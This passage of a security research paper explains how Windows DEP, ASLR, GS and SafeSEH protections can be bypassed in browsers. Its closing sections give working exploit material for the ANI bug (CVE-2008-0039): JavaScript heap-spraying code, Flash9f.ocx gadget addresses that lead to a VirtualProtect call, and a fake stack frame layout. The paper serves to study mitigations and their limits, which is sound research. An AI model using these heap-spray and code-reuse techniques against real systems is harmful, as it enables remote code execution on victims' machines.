The main difficulty with overwriting application data is how to ensure that the block following the one we overwrite contains the type of data that we want to overwrite. The solution to this lies in taking advantage of the determinism of the heap allocator to control the layout of the heap. One example of this is the Heap Feng Shui technique for browser exploitation developed by one of the authors of this paper.

DEP

DEP provides a significant barrier from executing arbitrary code, because generally the attacker isn't able to return to their own self-defined code. Still, several alternative options are available to the attacker, depending on the nature of the vulnerability being exploited. This section discusses some of those alternatives.

Incompatible applications

When OptIn DEP is the system policy, binaries not compiled with /NXCOMPAT will not have DEP enabled. At the time of writing, the most popular browser IE7 does not have DEP enabled for backwards compatibility reasons, however the upcoming IE8 will have. Firefox version 3 also ships with DEP enabled by default.

Code Reuse

A well known attack methodology when faced with bypassing DEP is to return into the text section of an image that has already been mapped. Usually it is possible for an attacker to find some useful code that can be used to perform some action to undermine the security of the application (and often gain full arbitrary execution). Some common targets might include:

- Returning to a page mapping/protection routine - In this scenario, the attacker uses sytem APIs to set pages in the process that they can write data to as executable. Typically this style of attack is available when the attacker is able to control the stack, and thus setup the required arguments and return into the function that modifies the page protections and then subsequently returns to the page that was just modified.
- System command/Process creation routines - This scenario involves executing a command or invoking a new application, usually one that the attacker has supplied. Again, this requires the attacker being able to setup the stack correctly.
- Security Policy Violations - Here, the attacker attempts to subvert security policy of the browser or one of its components by modifying a data structure that governs what actions can and can not be performed by the user in this context. An example of such an attack was demonstrated by the author in a recent paper discussing the Flash ActionScript Virtual Machine (http://msdn.microsoft.com/en-us/library/bb736299(VS.85).aspx)

These are just a few of the many possible scenarios that might be available to the attacker. Although these types of attacks are effective against DEP in isolation, performing these attacks in an environment where DEP+ASLR are in effect (such as in the Vista environment that is the subject of this paper) can prove to be difficult. Combining techniques for bypassing DEP as well as ASLR will be discussed in Part 3 of this paper.

RWX Mappings

DEP is only an effective mechanism if there is no opportunity for the attacker to write data to memory locations that are also marked as executable. In some cases, however, it is possible for pages to be mapped both writable and executable and therefore makes an attractive target for the attacker to write to. One very prominent example of such a scenario is the Sun Java Virtual Machine (JVM). When allocating memory for variables in an executing method, the page permissions for the allocation are specified as readable, writable, and executable. Therefore, it is possible to perform heap spraying attacks similar to those that have previously been presented in JavaScript in Java as well, with the added bonus that all of the data being sprayed over memory will be executable. Java heap spraying will be demonstrated in Part 3 of this document.

ASLR

Vista's ASLR implementation complicates exploitation by reducing the attacker's knowledge of where key data structures will be located in memory. However, there are a few strategies that may be employed by the attacker to help exploit memory corruption vulnerabilities that they have uncovered. These techniques will be discussed here.

Knowledge of static data structures

ASLR is only really effective if everything in the process address space. If some elements remain at constant locations in memory, they become an appealing target when building exploits. In Vista's ASLR scheme, there are several scenarios in which data structures or objects can exist at constant locations in memory. The objects worth paying attention are detailed below.

Statically positioned DLLs and executables

The first and perhaps most obvious technique is to utilize images that are mapped into the address space at a fixed location. As detailed earlier in this paper, only DLLs and executables that have the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag set in the optional header will be purposely randomized. (This is true for the default configuration - when the MoveImages key does not exist or is not set to -1.) In order for this flag to be set, usually it would mean building the binary with Visual Studio 2005 SP1 and manually adding the /dynamicbase flag to the linker options. Microsoft are quite diligent about doing so in the binaries shipped with the Vista operating system (and most of their additional products). However, Independent Software Vendors (ISVs) have been slower to adopt this option and as a result, are shipping binaries that do not participate in ASLR.

This style of attack is particularly attractive when targeting browsers, due to their pluggable nature. When a user visits a potentially malicious web page, there is quite a lot of opportunity to load a wide range of DLLs by employing techniques such as:

- Embedding code for instantiating ActiveX controls or plugins that the user is likely to have installed.
- Utilizing specific features of the browser or its extensions that result in DLL loading - such as using specific scripting/interpreted languages, or using specific features of those languages.
- Specifying URL schemes that require protocol handlers that load in-band within the browser to deal with those special URLs.
- Supplying input data that results in library loading to do some sort of special handling of a specific content-type.
- Requiring associated metadata handling, such as dealing with security signatures/hashes within a mobile code package.
- Requiring user authentication with a specialized authentication mechanism that has its own library.
- Embedding media of various types that require loading of specific libraries to parse the data (such as an image parser).

As can be seen, there is quite a lot of scope for attackers to be able to load libraries. Some specific example attacks of this kind will be explored in Section 3 of this paper.

Practically static objects

A slight variation of statically located objects is when data objects do not have a fixed location per se, but they can effectively be relied upon to exist in a certain region of memory. This situation is often a potential issue when a growable object exists in memory that can be grown to an arbitrarily large size by the user. This technique has been very popular in the last few years when dealing with heaps that exist in the process address space. Commonly referred to as "heap spraying" or "growing the heap", this technique essentially involves exhausting the regular space available and forcing the heap to grow to be much larger. Providing that allocations are

somewhat linear in a situation when memory is low, it is possible to correctly guess where some of that data will be mapped. Heap spraying will be revisited in Section 3 of this paper, where specific examples will demonstrate using the technique to effectively gain execution control in spite of ASLR (among other protections). Note that other forms of address space exhaustion can also provide similar opportunities. Some of these will also be demonstrated in Section 3.

Partial Overwrites

Partial overwrites is a memory corruption technique where only the least significant 1 or 2 bytes of the pointer are modified. Performing overwrites of this nature can be effective in an ASLR environment, since the attacker is not required to know the real address of an object in memory, but rather just the relative location of the new target from what the pointer pointed to originally. This style of attack is quite a well-known and often utilized technique among security researchers and hackers, and has been in wide use for quite some time. It tends to be a particularly effective technique on little-endian platforms, since contiguous memory overwrites (such as standard buffer overflows) will corrupt the least significant bytes before the more significant bytes. One of the most well-known scenarios where this has been used in the past is when a single-byte ("off-by-one") buffer overflow is discovered in an application that is writing to a stack buffer. This particular scenario is quite unlikely to be exploitable in many cases now due, to security enhancements in compiler technology. The "GS" section of this paper discusses the most prevalent of those technologies - the Visual Studio stack protection functionality. In practice, the ability to perform attacks is very dependant on the nature of the vulnerability - what is being overwritten, whether the attacker has precise control over how many bytes can be overwritten, whether the overwrite is contiguous, and what pointers are available to corrupt. Due to the specific nature of this technique, it will not be explored further in this paper, as the attacks presented in Section 3 are aimed at demonstrating more generally applicable methodologies.

InfoLeaks

Finally, there are information leaks. An information leak vulnerability is one that allows the attacker to glean some useful information about the memory layout or some useful state information about the target process. In the context of bypassing ASLR, ideally the attacker will want to obtain a pointer value. These are immensely useful for the following reasons:

- A pointer can be used to determine where an object is mapped in memory. For example, a pointer to the stack gives away at least a portion of where a thread stack is in memory. Also, a pointer to a static variable will betray where a particular DLL or executable's data section is in memory.
- Additional information can be inferred from such a pointer. For example, a frame pointer to a stack frame not only tells the attacker where a thread stack resides, but if the attacker knows what function the stack frame is for, they are able to determine a great deal more about that thread's stack. They will know what data elements surround that frame pointer, as well as those from previous stack frames. For a data section pointer, they are able to determine where that image resides in memory, not just where a single data element is. Heap pointers will be useful in pinpointing exactly where a specific data block was allocated, which could be useful for an application-specific attack.

In the context of Vista's ASLR, information leaks have an additional advantage. If an attacker is able to learn the location of an image in memory, then it follows that they will know the location of that DLL in not just that process, but for all processes running on the target system. Recall that a DLL's position in memory is initially determined by searching the _MiImageBitMap variable for an appropriate location, and this bitmap is used for all processes. So, finding a DLL in one process effectively allows you to locate it in all processes.

Part 3: Browser exploitation in depth

Now that the protection mechanisms and their limitations have been explored in isolation, real-world exploitation employing some of the techniques discussed can begin. This section is aimed at demonstrating how some of the knowledge from Part 2 can be applied practically to build robust and reliable exploits. In addition, several twists on the standard exploitation techniques will be discussed here that show unique "hybrid" methodologies for successful exploitation. The demonstrations in this section have been ordered from simple to complex, starting with direct application of techniques taken from Part 2 of this paper and finishing with more complex (and hopefully more interesting) methods for jumping through all of the required hoops.

In this section we will present a series of exploits for the ANI vulnerability (CVE-2008-0039), each demonstrating a different technique or combination of techniques for bypassing protection mechanisms. The exploits target Windows XP SP2 and Vista SP0 because they are vulnerable to this particular bug, but the techniques we present are applicable to even the most recent versions of Windows.

Heap spraying

exploit:	heapspray-ret.rb
vulnerability:	ANI
target:	Vista SP0 (default confiration, no DEP)
bypasses:	ASLR

This exploit uses heap spraying to fill 100MB of the Internet Explorer heap with shellcode. The JavaScript heap spraying code creates multiple copies of a string, each taking up a 1MB block of memory. Each block is 64KB aligned and the data controlled by the attacker starts at a 36 byte offset. By repeating the shellcode every 64KB in the string, we ensure that any heap address that ends in 0x0024 (64KB alignment + 36 bytes) is likely to contain our shellcode.

The code below shows the heap spraying code used by the exploit:

```
//
// Fills the heap with copies of the data string. The mb argument specifies
// how many megabytes of the heap to fill. Copies of the data string are
// located at 64KB aligned addresses + 36 bytes
//

function heapSpray(data, mb) {

  // 64KB chunk
  //
  // data     padding
  // x bytes  65536 - x bytes

  var chunk64k = data + padding((65536 - data.length*2)/2)

  // 1MB chunk
  //
  // heap header  string length  64k chunks  truncated 64k chunk  null
  // 32 bytes     4 bytes        15 * 65536  65498 bytes          2 bytes

  var chunk1mb = "";
```

```
  // 64k chunks
  for (var i = 0; i < 15; i++)
      chunk1mb += chunk64k;

  // truncated 64k chunk
  chunk1mb += chunk64k.substr(0, 65498/2);

  a = new Array();

  // 1MB allocations, 64KB alignment, data starts at 64KB aligned
  // addresses + 32 bytes

  // Allocate mb megabytes
  for (var i = 0; i < mb; i++) {
      a[i] = chunk1mb.substr(0, chunk1mb.length);
  }
}

// Fill 100MB of the heap with shellcode

heapSpray(shellcode, 100);
```

The heap randomization in Vista shifts the beginning of the heap by up to 2MB, but all allocations after that are contiguous. This means that most of our 100MB with shellcode will end up in the same memory range on every system, despite the presence of ASLR on Vista.

The allocations from the heap spraying code are shown below. The first few blocks are not contiguous due to heap fragmentation, but all blocks after 0x4c50020 are next to each other.

```
alloc(0xfffe0) = 0x3fe0020
alloc(0xfffe0) = 0x3df0020
alloc(0xfffe0) = 0x4410020
alloc(0xfffe0) = 0x4850020
alloc(0xfffe0) = 0x4950020
alloc(0xfffe0) = 0x4a50020
alloc(0xfffe0) = 0x4b50020
alloc(0xfffe0) = 0x4720020
alloc(0xfffe0) = 0x4c50020   <-- contiguous allocations after this point
alloc(0xfffe0) = 0x4d50020
alloc(0xfffe0) = 0x4e50020
alloc(0xfffe0) = 0x4f50020
alloc(0xfffe0) = 0x5050020
alloc(0xfffe0) = 0x5150020
alloc(0xfffe0) = 0x5250020
alloc(0xfffe0) = 0x5350020
alloc(0xfffe0) = 0x5450020
alloc(0xfffe0) = 0x5550020
alloc(0xfffe0) = 0x5650020
...
```

We use the buffer overflow in the LoadAniIcon function to overwrite the return address and point it to 0x7c50024. This address is 64KB + 36 bytes aligned and it is in the middle of the memory range where our heap sprayed shellcode is located. It is very likely that the memory at this address will contain our shellcode and in practice the exploit is very reliable.

Heap spraying is a useful technique even for systems that do not have ASLR. It gives us full control over the data at a certain address, which can be used as a target for any kind of function or data pointer overwrite. Most of the other exploits presented in this section rely on heap spraying as a basic building block for exploitation.

SEH overwrite targeting the heap

exploit:	heapspray-seh.rb
vulnerability:	ANI
target:	XP SP2 (default confiration, no DEP)
bypasses:	GS, SafeSEH, ASLR

The LoadAniIcon function is not protected by GS, but if it were, we could still exploit it by overwriting an exception handler record and triggering an exception. The heapspray-seh.rb exploit overflows the stack with 10MB of data, which leads to a write beyond the top of the stack and causes an access violation exception. On Vista this exception is handled by a handler located below us on the stack, but on XP SP2 the SEH record is above our buffer and can be overwritten.

To bypass SafeSEH, we point the exception handler to the sprayed shellcode on the heap. Since in the default configuration Internet Explorer is not protected by DEP, the exception handler dispatcher allows handlers on the heap and calls our shellcode.

If XP SP2 had ASLR, our use of heap spraying code would bypass it as well.

Flash code reuse

exploit:	flash-virtualprotect.rb
vulnerability:	ANI
target:	Vista SP0 with DEP
bypasses:	ASLR, DEP

The next challenge in browser exploitation is to bypass DEP and ASLR on Vista. To do this, we will look for DLLs that are not ASLR compatible and are loaded at a fixed address in the browser address space. Many popular browser plugins, including the latest versions of Adobe Reader, Flash Player and Java include DLLs that are not compatible with ASLR. For this exploit we will use Flash9f.ocx from Flash Player version 9.0.124.0. This DLL is always loaded at base address 0x30000000.

The ANI buffer overflow allows us do a standard code reuse attack by creating fake stack frames and returning to code at a know location in Flash9f.ocx. Our goal is to change the page protection of the shellcode on the heap and make it executable. For this, we need to return to the following code segment:

```
.text:301B5446                call    ds:VirtualProtect
.text:301B544C                pop     ecx
.text:301B544D                retn    0Ch
```

The stack frame we need to set up looks like this:

```
301B5446    return address of LoadAniIcon (points to VirtualProtect call in
Flash9f.ocx)

41414141    arguments of LoadAniIcon, popped by the return instruction
41414141
41414141
41414141
41414141

07c50024    lpAddress (points to our shellcode)
00001000    dwSize (size of the shellcode: 4096 bytes)
00000040    flNewProtect (PAGE_EXECUTE_READWRITE)
07c50020    lpflOldProtect (must be a writable address)

41414141    used by the pop ecx instruction in Flash9f.ocx

07c50024    return address for the ret instruction in Flash9f.ocx (points to
shellcode)
```

The VirtualProtect call will change the protection of the shellcode and return to it, bypassing both DEP and ASLR. This technique is limited by the requirement for a DLL that is not ASLR compatible, but fortunately for us browser plugins with that problem have a very high market penetration.

SEH overwrite with Flash code reuse

exploit:	flash-virtualprotect-seh.rb
vulnerability:	ANI
target:	XP SP2 with DEP
bypasses:	GS, SafeSEH, ASLR, DEP

The code reuse technique from the previous exploit requires control of the return address on the stack. To exploit overflows in functions protected by GS, we need to combine the code reuse pattern with a SEH overwrite and cause an exception. To bypass SafeSEH, we need to point the overwritten exception handler to code in a DLL that does not have a SafeSEH table.

The Flash9f.ocx module is ideal for our purposes, because it is loaded at a fixed addres and lacks a SafeSEH table. One complication is that when the exception handler is called, we will not have direct control of the stack. This prevents us from setting up a fake stack frame and jumping directly to a VirtualProtect call. Instead, we need to jump to a code sequence that adjusts the stack pointer to reach the area of the stack that we control.

The following backtrace shows the stack at the point when the exception handler is called:

```
0:005> kb
ChildEBP RetAddr  Args to Child
015df1a8 7c90378b 015df270 015dfaf0 015df28c Flash9f!pcre_fullinfo+0x9834
015df258 7c90eafa 00000000 015df28c 015df270 ntdll!ExecuteHandler+0x24
015df258 77d83ac3 00000000 015df28c 015df270 ntdll!KiUserExceptionDispatcher+0xe
015df564 77d83b1e 015df6bc 015df5a0 00a00734 USER32!ReadFilePtrCopy+0x2b
015df580 77d84021 015df6bc 015df5c4 015df5a0 USER32!ReadChunk+0x19
015df5ec 41414141 41414141 41414141 41414141 USER32!LoadAniIcon+0x9e
015df604 41414141 41414141 41414141 41414141 0x41414141
```

The current stack pointer is 0x15df188. We can see that the overwritten stack frame of LoadAniIcon starts at address 0x15df5ec, which is about a thousand bytes above the current stack pointer. To move the stack pointer into the overwritten area, we will point the exception handler at the following instruction sequnce in Flash9f.ocx:

```
.text:301AF614                  add     esp, 0B30h
.text:301AF61A                  retn
```

After the add instruction, the stack pointer will point at data that we control. We can use set up the exact same fake stack frame as in the previous exploit to call the VirtualProtect function and return to our shellcode on the heap.

The stack randomization in Vista does not stop this exploit, because it changes only the address where the stack begins, not the relative positions of stack frames. The distance between the overwritten LoadAniIcon stack frame and the stack pointer in the exception handler will be the same regardless of what their randomized absolute addresses are.

Conclusion

In this paper we demonstrated that the memory protection mechanisms available in the latest versions of Windows are not always effective when it comes to preventing the exploitaton of memory corruption vulnerabilities in browsers. They raise the bar, but the attacker still has a good chance of being able to bypass them. Two factors contribute to this problem: the degree to which the browser state is controlled by the attacker; and the extensible plugin architecture of modern browsers.

The internal state of the browser is determined to a large extent by the untrusted and potentially malicious data it processes. The complexity of HTML combined with the power of JavaScript and VBscript, DOM scripting, .NET, Java and Flash give the attacker an unprecedented degree of control over the browser process and its memory layout.

The second factor is the open architecture of the browser, which allows third-party extensions and plugins to execute in the same process and with the same level of privilege. This not only means that any vulnerability in Flash affects the security of the entire browser, but also that a missing protection mechanism in a third-party DLL can enable the exploitation of vulnerabilities in all other browser components.

The authors hope that these problems will be addressed in future releases of Windows and browser plugins shipped by third parties.

Bibliography

Miscellaneous

- Protecting Your Code with Visual C++ Defenses by Michael Howard
  http://msdn.microsoft.com/en-us/magazine/cc337897.aspx

GS

- /GS compiler option documentation for Visual Studio 2005
  http://msdn.microsoft.com/en-us/library/8dbf701c(VS.80).aspx
- Compiler Security Checks In Depth by Brandon Bray
  http://msdn.microsoft.com/en-us/library/aa290051(VS.71).aspx
- Security Improvements to the Whidbey Compiler by Brandon Bray
  http://blogs.msdn.com/branbray/archive/2003/11/11/51012.aspx
- Analysis of GS protections in Microsoft Windows Vista by Ollie Whitehouse
  http://www.symantec.com/avcenter/reference/GS_Protections_in_Vista.pdf
- Hardening Stack-based Buffer Overrun Detection in VC++ 2005 SP1 by Michael Howard
  http://blogs.msdn.com/michael_howard/archive/2007/04/03/hardening-stack-based-buffer-overrun-detection-in-vc-2005-sp1.aspx
- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server by David Litchfield
  http://www.nextgenss.com/papers/defeating-w2k3-stack-protection.pdf

SafeSEH

- /SAFESEH linker option documentation for Visual Studio 2005
  http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx
- SEH Security Changes in XPSP2 and 2003 SP1 by Ben Nagy
  http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html#vexposed
- Preventing the Exploitation of SEH Overwrites by Skape
  http://uninformed.org/index.cgi?v=5&a=2
- A Crash Course on the Depths of Win32 Structured Exception Handling by Matt Pietrek
  http://www.microsoft.com/msj/0197/Exception/Exception.aspx

Heap protections

- XP SP2 Heap Exploitation by Matt Conover
  http://www.cybertech.net/~sh0ksh0k/projects/winheap/XPSP2_Heap_Exploitation.ppt

- Heap Feng Shui in JavaScript by Alexander Sotirov
  http://www.determina.com/security.research/presentations/bh-eu07/

- Defeating Microsoft Windows XP SP2 Heap Protection and DEP bypass by Alexander Anisimov
  http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf

- Exploiting Freelist[0] on XP SP2 by Brett Moore
  http://www.security-assessment.com/Whitepapers/Exploiting_Freelist[0]_On_XPSP2.zip

- Bypassing Windows heap protections by Nicolas Falliere
  http://packetstormsecurity.nl/papers/bypass/bypassing-win-heap-protections.pdf

DEP

- Robert Hensing's Blog: DEP on Vista exposed!
  http://blogs.technet.com/robert_hensing/archive/2007/04/04/dep-on-vista-explained.aspx

- Wikipedia - Data Execution Prevention
  http://en.wikipedia.org/wiki/Data_Execution_Prevention

- Bypassing Windows Hardware-enforced Data Execution Prevention - by skape and Skywing
  http://www.uninformed.org/?v=2&a=4

ASLR

- Michael Howard's Web Log: Address Space Layout Randomization in Windows Vista
  http://blogs.msdn.com/michael_howard/archive/2006/05/26/608315.aspx

- GS and ASLR in Windows Vista
  https://www.blackhat.com/presentations/bh-dc-07/Whitehouse/Presentation/bh-dc-07-Whitehouse.pdf

- An Analysis of Address Space Layout Randomization on Windows Vista
  http://www.blackhat.com/presentations/bh-dc-07/Whitehouse/Paper/bh-dc-07-Whitehouse-WP.pdf